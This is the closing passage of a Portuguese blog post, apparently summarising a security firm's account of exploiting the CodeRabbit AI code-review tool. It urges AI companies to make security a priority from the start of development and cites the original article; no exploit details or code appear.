A solução não é parar, mas sim incluir a segurança desde o primeiro dia no processo de desenvolvimento. Tornando-a uma prioridade central, empresas de IA conseguem criar produtos que não só sejam inovadores, mas também resilientes e responsáveis. Afinal, a verdadeira inovação não está apenas em correr rápido, mas em construir algo seguro e confiável para os usuários.

Fonte original do artigo: https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/

Next Article

YouTube - (Bonus) Adicionar o EvolutionAPI via Docker para funcionar nas automações N8N

Write a Comment

Leave a Comment

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Receba Nossa Newsletter

Assine nossa newsletter por e-mail para receber as postagens mais recentes diretamente na sua caixa de entrada.
Inspiração pura, zero spam ✨